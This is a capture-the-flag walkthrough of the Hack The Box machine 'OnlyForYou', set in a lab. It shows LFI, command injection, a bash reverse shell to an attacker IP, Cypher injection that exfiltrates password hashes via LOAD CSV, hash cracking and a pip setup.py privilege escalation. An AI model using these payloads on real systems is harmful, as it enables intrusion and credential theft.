OnlyForYou Writeup
26 August 2023 #CTF #HTB #box #medium #linuxEnumeration
nmap
$ sudo nmap -T4 -sC -sV 10.10.11.210
[...]
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 e883e0a9fd43df38198aaa35438411ec (RSA)
| 256 83f235229b03860c16cfb3fa9f5acd08 (ECDSA)
|_ 256 445f7aa377690a77789b04e09f11db80 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://only4you.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
[...]
HTTP
As seen in the nmap
scan we are redirected to http://only4you.htb
when accessing the website. Let's try fuzzing to discover other virtual hosts:
$ ffuf -u http://10.10.11.210 -H 'Host: FUZZ.only4you.htb' -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt -fs 178
[...]
[Status: 200, Size: 2191, Words: 370, Lines: 52, Duration: 193ms]
* FUZZ: beta
[...]
Cool, we'll add beta.only4you.htb
in our /etc/hosts
file as well.
On only4you.htb
, we get a classic template page:
There are a few usernames but other than that, nothing really interesting.
LFI
On beta.only4you.htb
, there's a web app to convert and resize images:
The source code is available. This is a Flask app and the /download
endpoint is the most interesting:
[...]
@app.route('/download', methods=['POST'])
def download():
image = request.form['image']
filename = posixpath.normpath(image)
if '..' in filename or filename.startswith('../'):
flash('Hacking detected!', 'danger')
return redirect('/list')
if not os.path.isabs(filename):
filename = os.path.join(app.config['LIST_FOLDER'], filename)
try:
if not os.path.isfile(filename):
flash('Image doesn\'t exist!', 'danger')
return redirect('/list')
except (TypeError, ValueError):
raise BadRequest()
return send_file(filename, as_attachment=True)
[...]
It protects against directory traversal but if the path is absolute (like /etc/passwd
) it will just send us the file:
$ curl -s beta.only4you.htb/download -d 'image=/etc/passwd'
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
[...]
Foothold
With LFI on a web app, it's always a good idea to check out the webserver config. Let's take a look at /etc/nginx/sites-enabled/default
:
server {
listen 80;
server_name only4you.htb;
location / {
include proxy_params;
proxy_pass http://unix:/var/www/only4you.htb/only4you.sock;
}
}
server {
listen 80;
server_name beta.only4you.htb;
location / {
include proxy_params;
proxy_pass http://unix:/var/www/beta.only4you.htb/beta.sock;
}
}
No new virtual hosts, but we see that only4you.htb
is also reverse proxied through a socket (it just means that Flask is listening on a unix socket).
Let's try /var/www/only4you.htb/app.py
:
from flask import Flask, render_template, request, flash, redirect
from form import sendmessage
import uuid
app = Flask(__name__)
app.secret_key = uuid.uuid4().hex
@app.route('/', methods=['GET', 'POST'])
def index():
if request.method == 'POST':
email = request.form['email']
subject = request.form['subject']
message = request.form['message']
ip = request.remote_addr
[...]
It imports a function from form
, which is not a standard python module so it must be a file in the same directory (/var/www/only4you.htb/form.py
):
import smtplib, re
from email.message import EmailMessage
from subprocess import PIPE, run
import ipaddress
def issecure(email, ip):
if not re.match("([A-Za-z0-9]+[.-_])*[A-Za-z0-9]+@[A-Za-z0-9-]+(\.[A-Z|a-z]{2,})", email):
return 0
else:
domain = email.split("@", 1)[1]
result = run([f"dig txt {domain}"], shell=True, stdout=PIPE)
output = result.stdout.decode('utf-8')
if "v=spf1" not in output:
return 1
[...]
It's using a regex to validate the email then splits it on the '@' character and runs dig
on it.
subprocess.run
is used with shell=True
so it's basically equivalent to os.system
.
The regex is not enclosed with ^
and $
so re.match
will only check the beginning of the string. This means that asdf@asdf.com ;curl 10.10.14.10
should work:
Yep, we get a hit on our nc
listener:
$ nc -lnvp 80
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::80
Ncat: Listening on 0.0.0.0:80
Ncat: Connection from 10.10.11.210.
Ncat: Connection from 10.10.11.210:41556.
GET / HTTP/1.1
Host: 10.10.14.10
User-Agent: curl/7.68.0
Accept: */*
From here, we can get a reverse shell with something like bash -c 'bash -i >%26 /dev/tcp/10.10.14.10/443 0>%261'
(need to URL encode the &
characters).
Privesc
www-data to John
We see a few more services listening locally:
www-data@only4you:~/only4you.htb$ ss -lnt
State Recv-Q Send-Q Local Address:Port Peer Address:Port
LISTEN 0 151 127.0.0.1:3306 0.0.0.0:*
LISTEN 0 511 0.0.0.0:80 0.0.0.0:*
LISTEN 0 4096 127.0.0.53%lo:53 0.0.0.0:*
LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
LISTEN 0 4096 127.0.0.1:3000 0.0.0.0:*
LISTEN 0 2048 127.0.0.1:8001 0.0.0.0:*
LISTEN 0 70 127.0.0.1:33060 0.0.0.0:*
LISTEN 0 50 [::ffff:127.0.0.1]:7474 *:*
LISTEN 0 128 [::]:22 [::]:*
LISTEN 0 4096 [::ffff:127.0.0.1]:7687 *:*
For now the one we care about is on port 8001. We need to forward the port to us in order to access it in the browser. We'll use chisel
for that.
On our attack VM, set up the chisel server:
$ chisel server -v -p 4242 --reverse
2023/05/11 21:42:43 server: Reverse tunnelling enabled
2023/05/11 21:42:43 server: Fingerprint lR/auTm2y6VkDagBtpSvZSfsn5E7iqP3WEXqMxLz3a0=
2023/05/11 21:42:43 server: Listening on http://0.0.0.0:4242
Upload chisel
to the box and forward the port:
www-data@only4you:/dev/shm$ wget 10.10.14.10/chisel ; chmod +x chisel
[...]
www-data@only4you:/dev/shm$ ./chisel client -v 10.10.14.10:4242 R:8001:127.0.0.1:8001
2023/05/11 19:43:07 client: Handshaking...
2023/05/11 19:43:07 client: Sending config
2023/05/11 19:43:08 client: tun: SSH connected
Now we can access this new web app:
Trying some common creds, we get in with admin:admin
:
There is a note the dashboard saying that they switched to a neo4j database:
There is another page where we can search for employees:
Putting a single quote inside this search returns an error:
According to the note on the dashboard, we are dealing with a neo4j database which uses the Cypher query language.
hacktricks has a few payloads we can try.
First, we'll try to exfiltrate the labels (the equivalent to tables in SQL):
' OR 1=1 WITH 1 as a CALL db.labels() YIELD label LOAD CSV FROM 'http://10.10.14.27/?x='+label as l RETURN 0 as _0 //
We're using the LOAD CSV FROM
feature to make a request to our box with the data from the query. Make sure to URL encode this payload if you do it in Burp.
After sending the payload, we get 2 requests on our python http server:
$ python -m http.server 80
[...]
10.10.11.210 - - [26/Aug/2023 15:41:26] "GET /?x=user HTTP/1.1" 200 -
10.10.11.210 - - [26/Aug/2023 15:41:27] "GET /?x=employee HTTP/1.1" 200 -
The user
label sounds like what we want. Let's dump it using the same technique:
' OR 1=1 WITH 1 as a MATCH (f:user) UNWIND keys(f) as p LOAD CSV FROM 'http://10.10.14.27/?'+p+'='+toString(f[p]) as l RETURN 0 as _0 //
(All of these payloads come from hacktricks).
10.10.11.210 - - [26/Aug/2023 15:43:48] "GET /?username=admin HTTP/1.1" 200 -
10.10.11.210 - - [26/Aug/2023 15:43:48] "GET /?password=a85e870c05825afeac63215d5e845aa7f3088cd15359ea88fa4061c6411c55f6 HTTP/1.1" 200 -
10.10.11.210 - - [26/Aug/2023 15:43:48] "GET /?username=john HTTP/1.1" 200 -
10.10.11.210 - - [26/Aug/2023 15:43:49] "GET /?password=8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918 HTTP/1.1" 200 -
We already know the password for admin is "admin", but let's try to crack john's hash:
$ hashcat -m 1400 8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918 /usr/share/wordlists/rockyou.txt
[...]
8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918:ThisIs4You
[...]
We can now login as john.
John to root
John can run a command as root:
john@only4you:~$ sudo -l
Matching Defaults entries for john on only4you:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User john may run the following commands on only4you:
(root) NOPASSWD: /usr/bin/pip3 download http\://127.0.0.1\:3000/*.tar.gz
For all we care about, pip3 download
is basically the same as pip3 install
. This means that it will execute a file called setup.py
.
First, let's forward a local port to access the Gogs instance that's listening on localhost port 3000:
$ ssh john@only4you.htb -L 3000:127.0.0.1:3000
[...]
John's creds (john:ThisIs4You) are reused for the Gogs instance:
Next, create a setup.py
in this repo:
We also need to change the repo visibility to public so we can access it from the command line:
And finally download it:
john@only4you:~$ sudo pip3 download http://127.0.0.1:3000/john/Test/archive/master.tar.gz
Collecting http://127.0.0.1:3000/john/Test/archive/master.tar.gz
Downloading http://127.0.0.1:3000/john/Test/archive/master.tar.gz (315 bytes)
ERROR: Files/directories not found in /tmp/pip-req-build-tg9gpkbm/pip-egg-info
john@only4you:~$ bash -p
bash-5.0# whoami
root
bash-5.0# chmod u-s /bin/bash
Of course, don't forget to restore the permission on /bin/bash
after you get root (:
Key Takeaways
- Use
LOAD CSV FROM
for Neo4j (Cypher) injection - Even if something errors out, it might have worked